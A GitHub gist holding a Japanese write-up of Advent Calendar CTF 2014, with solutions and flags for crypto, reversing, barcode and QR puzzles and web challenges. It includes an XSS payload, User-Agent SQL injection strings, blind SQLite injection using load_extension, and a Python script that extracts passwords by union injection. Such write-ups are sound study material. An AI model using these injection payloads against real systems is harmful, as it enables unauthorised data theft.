Skip to content

Instantly share code, notes, and snippets.

@st98
Last active June 4, 2022 04:37
Show Gist options
  • Save st98/e88d86195d90538c1355 to your computer and use it in GitHub Desktop.
Save st98/e88d86195d90538c1355 to your computer and use it in GitHub Desktop.
Advent Calendar CTF 2014 の write-up。ブログに移動しました -> https://st98.github.io/diary/posts/2014-12-26-adctf.html

Advent Calendar CTF 2014

ぼっチーム omakase として参加した。最終的に獲得できたポイントは 173 点でチーム順位は 24 位 (505 チーム中) だった。
1 ~ 14 日目、21 ~ 22 日目、25 日目の問題を解いた。

1 日目 warmup (misc)

'0x41444354465f57334c43304d335f37305f414443374632303134'.match(/[0-9a-f]{2}/g).map(function(c){return String.fromCharCode(parseInt(c, 16))}).join('');
flag: ADCTF_W3LC0M3_70_ADC7F2014

# Python 3
import codecs
codecs.decode('41444354465f57334c43304d335f37305f414443374632303134', 'hex') # b'ADCTF_W3LC0M3_70_ADC7F2014'

# Python 2
'41444354465f57334c43304d335f37305f414443374632303134'.decode('hex') # 'ADCTF_W3LC0M3_70_ADC7F2014'

2 日目 alert man (web)

  • 自分が最初に解いた
  • スクリプトの肝心な部分は難読化されている、が DevTools の Console で alert と入力するとある程度読める形で出てくる
  • jsbeautifier で alert の中身を整形して、フラッグを表示する部分だけ抜き出して実行する
      f = 0;
      cs = [5010175210, 5010175222, 5010175227, 5010175166, 5010175224, 5010175218, 5010175231, 5010175225, 5010175166, 5010175223, 5010175213, 5010175140, 5010175166, 5010175199, 5010175194, 5010175197, 5010175178, 5010175192, 5010175169, 5010175191, 5010175169, 5010175146, 5010175187, 5010175169, 5010175146, 5010175218, 5010175149, 5010175180, 5010175210, 5010175169, 5010175187, 5010175146, 5010175216];
      t = '';
      for (i = 0; i < cs.length; i++) {
        t += String.fromCharCode(cs[i] ^ 0x123456789 + 123456789)
      }
      appendTweet('<b>' + t + '</b>')
  • もしくは f = 1 で最初の if (!f) をなんとかする
f = 1;
alert('XSS');
flag: ADCTF_I_4M_4l3Rt_M4n

  • 上の解法はどう考えてもズルなので正攻法?
  • <script>…</script> はダメだったので img で存在しないファイルを読み込ませて onerror を発火させて alert する
  • ソース中の t = tweet.replace(/['"]/g, ''); を見れば分かるように ' と " は消されるので RegExp#source を使ってなんとかする
<img src=_ onerror=alert(/XSS/.source)>

3 日目 listen (misc)

  • listen.wav のヘッダがおかしいっぽい?
  • listen.wav の 10 ~ 1F を他の適当な wav ファイルから持ってくる
  • Audacity とかで適当に遅くしたりすると "The flag is all capital letters. A D CTF ..." とフラッグが聞き取れる
flag: ADCTF_SOUNDS_GOOD

  • 解き方がむちゃくちゃだったので WAV ファイルのフォーマットを見ながらおかしいところを探してみる
  • 上から見ていくとサンプリングレートの 4 バイトとその前の 4 バイトが入れ替わっているように見えるので入れ替える
  • あとはさっきと同様に遅くするとフラッグが聞き取れる

4 日目 easyone (binary)

  • file easyone # easyone: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
  • とりあえず objdump -d easyone する
  • main に movb $0x37,-0x2a(%rbp) … みたいなのが見えるのでコピーする
  • JavaScript で加工する
var s = 'movb   $0x37,-0x2a(%rbp)\n\
...
movb   $0x44,-0x2f(%rbp)'.split('\n');

s = s.map(function (s) {
  return [
    String.fromCharCode(parseInt(s.match(/\$0x([0-9a-f]{2})/)[1], 16)),
    parseInt(s.match(/-0x([0-9a-f]{2})/)[1], 16)
  ];
});

console.log(s.sort(function (a, b) {
  if (a[1] > b[1]) {
    return -1;
  }

  return a[1] != b[1];
}).map(function (a) {
  return a[0];
}).join(''));
flag: ADCTF_7H15_15_7oO_345y_FOR_M3

5 日目 shooting (web)

  • 自分が 2 番目に解いた
  • enchant.js を使ったシューティングゲーム
  • 当たり判定をいじって、プレイヤーには当たらず敵にだけ当たるようにする
  • 下のコードを実行した後プレスし続けるとフラッグが出る
alert = console.log.bind(console); // bind しないと Illegal invocation で怒られます…
Sprite.prototype.intersect = function () { return true; };
Sprite.prototype.within = function () { return false; };
flag: ADCTF_1mP05518L3_STG

  • ゲームしない方法
  • shooting.min.js を JavaScript beautifier で整形して読む
  • for (var e = 0; e < b.length; e++) { c[e] -= b[e].charCodeAt(0); c[e] = Math.round(c[e] * 10) / 10 } とか var n = new h(300, e * 16, .01, 9999, c[e ^ b.length]); とか P[e] = String.fromCharCode(E[e].c * 10 ^ 255) 辺りでフラッグの復号をしている?
  • 自分で復号をする
var b, c, e, s = '';
b = ["\x63", "\x68", "\x65", "\x65", "\x72", "\x75", "\x70", "\x2c", "\x20", "\x6b", "\x65", "\x65", "\x70", "\x20", "\x67", "\x6f", "\x69", "\x6e", "\x67", "\x21"];
c = [107.4, 126.1, 131.2, 120.3, 130, 134.2, 129.1, 62.4, 55.5, 126.3, 133.3, 111.2, 120.2, 43.1, 122.3, 139.4, 123.5, 126, 123.6, 47.6, 19, 18.7, 18.8, 17.1, 20.6, 19.9, 17.9, 20.4, 17.5, 20.7, 20.2, 20.2];

for (e = 0; e < b.length; e++) {
  c[e] -= b[e].charCodeAt(0);
  c[e] = Math.round(c[e] * 10) / 10;
}

for (e = 0; e < 20; e++) {
  s += String.fromCharCode(c[e ^ b.length] * 10 ^ 255);
}

console.log(s); // "ADCTF_1mP05518L3_STG"

6 日目 paths (reversing)

  • reversing とは一体…
  • ダイクストラ法で解く、自分では書けなかったのでライブラリを利用して解いた
flag: ADCTF_G0_go_5hOr7E57_PaTh

7 日目 reader (PPC)

  • バーコードは CODE-93
  • 仕様を見ながらデコーダを書く
  • U+2588 (FULL BLOCK), U+258C (LEFT HALF BLOCK), U+2590 (RIGHT HALF BLOCK)
import re
import socket
import sys

def split(s, n):
  return re.findall(r'.{' + str(n) + r'}|.+', s)

def decode(s):
  # http://www.n-barcode.com/shurui/code-93.html
  s = split(s, 9)
  r = ''
  for x in s[1:-4]:
    r += {
      '100010100': '0',
      '101001000': '1',
      '101000100': '2',
      '101000010': '3',
      '100101000': '4',
      '100100100': '5',
      '100100010': '6',
      '101010000': '7',
      '100010010': '8',
      '100001010': '9',
      '110101000': 'A',
      '110100100': 'B',
      '110100010': 'C',
      '110010100': 'D',
      '110010010': 'E',
      '110001010': 'F',
      '101101000': 'G',
      '101100100': 'H',
      '101100010': 'I',
      '100110100': 'J',
      '100011010': 'K',
      '101011000': 'L',
      '101001100': 'M',
      '101000110': 'N',
      '100101100': 'O',
      '100010110': 'P',
      '110110100': 'Q',
      '110110010': 'R',
      '110101100': 'S',
      '110100110': 'T',
      '110010110': 'U',
      '110011010': 'V',
      '101101100': 'W',
      '101100110': 'X',
      '100110110': 'Y',
      '100111010': 'Z',
      '100101110': '-',
      '111010100': '.',
      '111010010': ' '
    }.get(x, '*')
  return r

def to_b(s):
  m = re.findall(rb'\xe2\x96[\x88\x8c\x90]| +', s)
  return ''.join([{
    b'\xe2\x96\x88': '11',
    b'\xe2\x96\x8c': '10',
    b'\xe2\x96\x90': '01'
  }.get(x, x.decode('utf-8').replace(' ', '0')) for x in m])

def main(host='adctf2014.katsudon.org', port=43010):
  sock = socket.create_connection((host, port), 3)
  sock.settimeout(3)

  while True:
    r = sock.recv(1024)
    if b'\n' not in r:
      r += sock.recv(1024)
    print('[*]', r)

    s = to_b(r[:-1])
    print('[*]', s)
    print('[*]', decode(s))

    sock.send(decode(s).encode() + b'\n')

    i = input()
    if 'q' in i:
      break

  sock.close()

if __name__ == '__main__':
  main(*sys.argv[1:])
flag: ADCTF_4R3_y0U_B4rC0d3_R34D3r

8 日目 rotate (crypto)

  • まず flag.jpg.enc に使われた key を特定する
  • 適当な JPEG ファイルを持ってきて rotate.py に渡す、key は総当たり
  • もし *.enc が flag.jpg.enc の最初にある a8 5d 08 42 から始まっていたら、そのときに rotate.py に渡していた key が flag.jpg.enc に使われた key
  • 放っておくと 123 と出る
import subprocess
for x in range(360):
  subprocess.call('python279 rotate.py jpeg')
  if open('jpeg.enc', 'rb').read().startswith(b'\xa8\x5d\x08\x42'):
    print('[*]', x)
    break
  • 戻す
import math
import struct

def split(l, n):
  return [l[x:x + n] for x in range(0, len(l), n)]

p = lambda x: struct.pack('b', round(x))
u = lambda x: struct.unpack('f', x)[0]

d = open('flag.jpg.enc', 'rb').read()
d = [u(x) for x in split(d, 4)]

key = math.radians(-123)
f = open('flag.jpg'.format(key), 'wb')
for i in range(0, len(d), 2):
  x, y = d[i], d[i + 1]
  f.write(p(x * math.cos(key) - y * math.sin(key)) + \
          p(x * math.sin(key) + y * math.cos(key)))
flag: ADCTF_TR0t4T3_f4C3

9 日目 qrgarden (PPC)

  • 渡された画像が気持ち悪かった
  • 分割する
from PIL import Image

p = 'images/{:04x}.png'
im = Image.open('qrgarden.png')

for x in range(100):
  for y in range(100):
    o = Image.new('RGB', (87, 87))
    o.paste(im.crop((x * 87, y * 87, (x + 1) * 87, (y + 1) * 87)), (0, 0))
    o.save(p.format(x + 100 * y))
  • 文字にする
from PIL import Image

for n in range(100 * 100):
  s = ''
  im = Image.open('images/{:04x}.png'.format(n))

  for y in range(29):
    for x in range(29):
      s += 'X' if im.getpixel((x * 3, y * 3)) == (0, 0, 0) else '_'
    s += '\n'

  open('txt/{:04x}.txt'.format(n), 'w').write(s)
import subprocess

for n in range(100 * 100):
  print('[*]', n)
  s = subprocess.check_output(['python279', 'strong-qr-decoder/sqrd.py', 'txt/{:04x}.txt'.format(n)])
  if s.startswith(b'ADCTF_'):
    print(s)
    break
flag: ADCTF_re4d1n9_Qrc0de_15_FuN

10 日目 xor (crypto)

  • JavaScript で書き直す
function f(a) {
  var i;
  a = a.slice();

  for (i = 0; i < a.length; i++) {
    if (i > 0) a[i] ^= a[i - 1];
    a[i] ^= a[i] >> 4;
    a[i] ^= a[i] >> 3;
    a[i] ^= a[i] >> 2;
    a[i] ^= a[i] >> 1;
  }

  return a;
}
  • ひたすら試す、ADCTF_ から始まって Leet っぽいのがフラッグ
var i, s, a;

function g(a, n) {
  for (;n--;) {
    a = f(a);
  }
  return a;
}

a = '712249146f241d31651a504a1a7372384d173f7f790c2b115f47'.match(/[0-9a-f]{2}/g).map(function (s) {
  return parseInt(s, 16);
});

for (i = 0; i < 50; i++) {
  s = String.fromCharCode.apply(null, g(a, i));
  if (s.startsWith('ADCTF_')) {
    console.log(s);
  }
}
flag: ADCTF_51mpl3_X0R_R3v3r51n6

11 日目 blacklist (web)

  • /search からは SQLi できる気がしない
  • なので / で User-Agent を色々変えて攻める、' が消されないので SQLi できる
  • User-Agent を A', '127.0.0.1');# にすると A がログに記録される、A' の部分を色々変えて攻めていく
  • まず文字列の連結の方法を調べる、DB は MySQL (ソースの DBI->connect('dbi:mysql:blacklist' から推測) なので concat('A', 'B')
  • SQLite だったりすると 'A' || 'B''AB' になるので ' || (select * from flag), '127.0.0.1');-- とかできるけど今回はダメかも…
  • '' + 11 になるので、これを利用する
  • hex('ABCD')'41424344' になる、conv('41424344', 16, 10)1094861636 になる
  • なので ' + conv(hex((select * from flag)), 16, 10), '127.0.0.1);#' で、例えばフラッグが ABCD だった場合 1094861636 がログに記録される
  • 実際はもっと長いハズなので substring なんかで切りながら試していく
  • length(hex((select * from flag)))66、9 回ぐらいやればフラッグが分かる
flag: ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT

  • めんどくさい解き方をしてしまった気がする、想定解法が気になる問題
  • 最初は $agent =~ s!/\*.*\*/!!g;$agent =~ /\)\s*,\s*\(/ をどうやって回避するかを考えてた
  • //**/** => /** にならね? とか考えたけど最長な感じなら難しいかなーと別の方法を探した
  • 試行錯誤する様子

12 日目 bruteforce (reversing)

  • file bruteforcebruteforce: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
  • objdump -D bruteforce して見ているとちょくちょく mov al,0x23; syscall がある
  • x86_64 のシステムコール番号を調べると 0x23 は sys_nanosleep
  • nanosleep が邪魔なので syscall (0f 05) を nop で潰す
  • 0x400780 からフラッグの表示部分、0x400780 に飛んでいる部分を探す
  • 0x400708 で cmp rax,QWORD PTR [rip+0x200969] と比較した後 je 400780 で等しかった場合に 0x400780 に飛ぶ
  • rip+0x200969、つまり 0x601078 を gdb で x/qx 0x601078 として見ると 0x00989680、10 進数に直すと 10000000
  • 試しに 0x00989680100 に変えて実行してみると the flag is: ADCTF_541 と表示された
  • 1000 に変えて実行してみるとしばらくしてから the flag is: ADCTF_7919 と表示された
  • 541 は 100 番目の素数、7919 は 1000 番目の素数なので ADCTF_{10000000 番目の素数} がフラッグになるハズ
flag: ADCTF_179424673

13 日目 loginpage (web)

flag: ADCTF_L0v3ry_p3rl_c0N73x7

14 日目 secret table (web)

  • we recorded your IP and user agent. ということなので User-Agent を ' に変えるとエラーが出た
  • エラーが出るか出ないかで判断するブラインド SQLi と推測
  • ' || sqlite_version() || ' でエラーが出なかったので SQLite
  • ' || (select tbl_name from sqlite_master where type = 'table') || ' でテーブル名が記録される
  • substr(str, index, 1) で切り取りながら ... >= 'A' とか比較を繰り返して絞り込んでいく
  • が、' || substr((select tbl_name from sqlite_master where type = 'table'), 1, 1) >= 'z' || ''0' になるのでエラーが出ない…
  • ならどうする? => 条件分岐、もし当てはまらなければ load_extension で存在しないファイルを読み込ませてエラーを出す
  • ' || (select case when substr(tbl_name, 28, 1) >= '0' then 'a' else load_extension('a') end from sqlite_master limit 1 offset 1) || ' みたいなのを繰り返すとフラッグが入っているテーブルが分かる、super_secret_flag__Ds7KLcV9
  • フラッグが入っているカラムも調べる、' || (select case when substr(sql, 75, 1) = 'i' then 'a' else load_extension('a') end from sqlite_master limit 1 offset 1) || 'yo_yo_you_are_enjoying_blind_sqli
  • 最後にフラッグを調べる、' || (select case when substr(yo_yo_you_are_enjoying_blind_sqli, 1, 1) = 'A' then 'a' else load_extension('a') end from super_secret_flag__Ds7KLcV9 limit 1 offset 0) || '
flag: ADCTF_ERR0r_hELP5_8L1nd_5Ql1

  • スクリプトを全く使わなかったので疲れた

21 日目 otp (web)

  • token' union select 1;-- にすると otp expired at 1 と表示される
  • ' or 1 limit 1 offset 100;--
  • ' and 0 union select (token || '|' || pass) from (select '' as token, '' as pass, '' as _ union select * from otp) limit 1;-- でトークンとパスを抜ける
  • スクリプトを書いて走らせるとフラッグが出る
import re
import requests

url = 'http://otp.adctf2014.katsudon.org/'
q = "' and 0 union select pass from (select '' as token, '' as pass, '' as _ union select * from otp) where token = '{}';--"
def main():
  c = requests.get(url).content.decode('ascii')
  token = re.findall(r'[0-9a-f]{16}', c)[0]
  c = requests.post(url, {
    'token': q.format(token),
    'pass': ''
  }).content.decode('ascii')
  password = re.findall(r'[0-9a-f]{32}', c)[0]
  c = requests.post(url, {
    'token': token,
    'pass': password
  }).content.decode('ascii')
  print('[*]', re.findall(r'(the flag is: [^<]+)', c)[0])

if __name__ == '__main__':
  main()
flag: ADCTF_all_Y0ur_5CH3ma_ar3_83L0N9_t0_u5

22 日目 wtfregexp (reversing)

  • 正規表現の部分と何かしている部分を分ける、バイナリエディタで見ると後ろが何かしている部分っぽい
  • 何かしている部分を調べる
  • unpack('B*', 'A')01000001unpack('B*', 'ABCD')01000001010000100100001101000100
  • (()= $RE =~ /(,)/g) という謎文法、Perlの食えない事情 - 演算子編に書かれていた
  • ((()= $RE =~ /(,)/g) + 1)768
  • 正規表現の部分を調べる
  • [01][01] みたいなのを .{2} みたいな感じにして読みやすくする、document.body.innerHTML = document.body.innerHTML.replace(/(\[01])+/g, function (m) { return '.{' + String(m.length / 4) + '}' });
  • コンマで区切ってみると全部 (?:.{64}(?:0.{71}|.{71}0).{120}) のような形式になっている
  • 内側の (?:…)01 を集めていけばフラッグが?
  • 左側と右側のどちらが正解か分からない?
  • MSB は立たないだろうし、フラッグは ADCTF_ から始まるだろうしである程度絞り込める
var _slice = Array.prototype.slice;
var s = document.body.innerText.replace(/(\[01])+/g, function (m) {
  return '.{' + String(m.length / 4) + '}';
}).slice(1, -1);

s = s.split(',').map(function (e) {
  // '(?:.{134}(?:1.{98}|.{98}0).{23})'.match(/…/); => ["(?:.{134}(?:1.{98}|.{98}0).{23})", "134", "1", "98", "0"]
  // '(?:(?:0.{72}|.{72}1).{183})' => ["(?:(?:0.{72}|.{72}1).{183})", undefined, "0", "72", "1"]
  // '(?:.{256})'.match(/…/); => ["(?:.{256})", "256", undefined, undefined, undefined]
  return _slice.call(e.match(/\(\?:(?:\.\{(\d+)\})?(?:\(\?:([01])\.\{(\d+)}\|\.\{\d+}([01])\))?(?:\.\{\d+})?\)/), 1);
});

var r = [];
s.forEach(function (e) {
  // (?:a|b)
  var a, b;

  if (e[0] === '256') {
    return;
  }

  if (e[0] == null) {
    e[0] = 0;
  }

  e = e.map(function (n) {
    return parseInt(n, 10);
  });

  a = { used: false, isSolution: null, index: e[0], value: e[1] };
  b = { used: false, isSolution: null, index: e[0] + e[2], pair: a, value: e[3] };

  a.pair = b;

  if (r[a.index] == null) {
    r[a.index] = [];
  }
  r[a.index].push(a);

  if (r[b.index] == null) {
    r[b.index] = [];
  }
  r[b.index].push(b);
});

var i;
for (i = 0; i < r.length; i += 8) {
  r[i].forEach(function (e) {
    e.used = true;
    e.isSolution = e.value === 0;
    e.pair.used = true;
    e.pair.isSolution = e.value !== 0;
  });
}

function g(a) {
  var i, v;
  for (i = 0; i < a.length; i++) {
    if (a[i].used) {
      v = a[i].isSolution ? a[i].value : +!a[i].value;
      break;
    }
  }

  if (v == null) {
    return;
  }

  for (i = 0; i < a.length; i++) {
    if (!a[i].used) {
      a[i].used = true;
      a[i].isSolution = a[i].value === v;
      a[i].pair.used = true;
      a[i].pair.isSolution = a[i].value !== v;
    }
  }
}

for (i = 0; i < r.length; i++) {
  g(r[i]);
}

r.map(function (e) {
  return e.filter(function (a) {
    return a.isSolution;
  })[0];
}).map(function (c) {
  return c === undefined ? 0 : c.value;
}).join('').match(/.{8}/g).map(function (n) {
  return String.fromCharCode(parseInt(n, 2));
}).join(''); // => 'ADCTF_l091C4L_r39Ul4r_3xpR3ss10N'
flag: ADCTF_l091C4L_r39Ul4r_3xpR3ss10N

25 日目 xmas (bonus)

flag: ADCTF_m3RRy_ChR157m42
@x0nu11byt3
Copy link

あなたの作品はとてもかっこいいですね。

おめでとうございます。

そして、ご投稿ありがとうございました。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment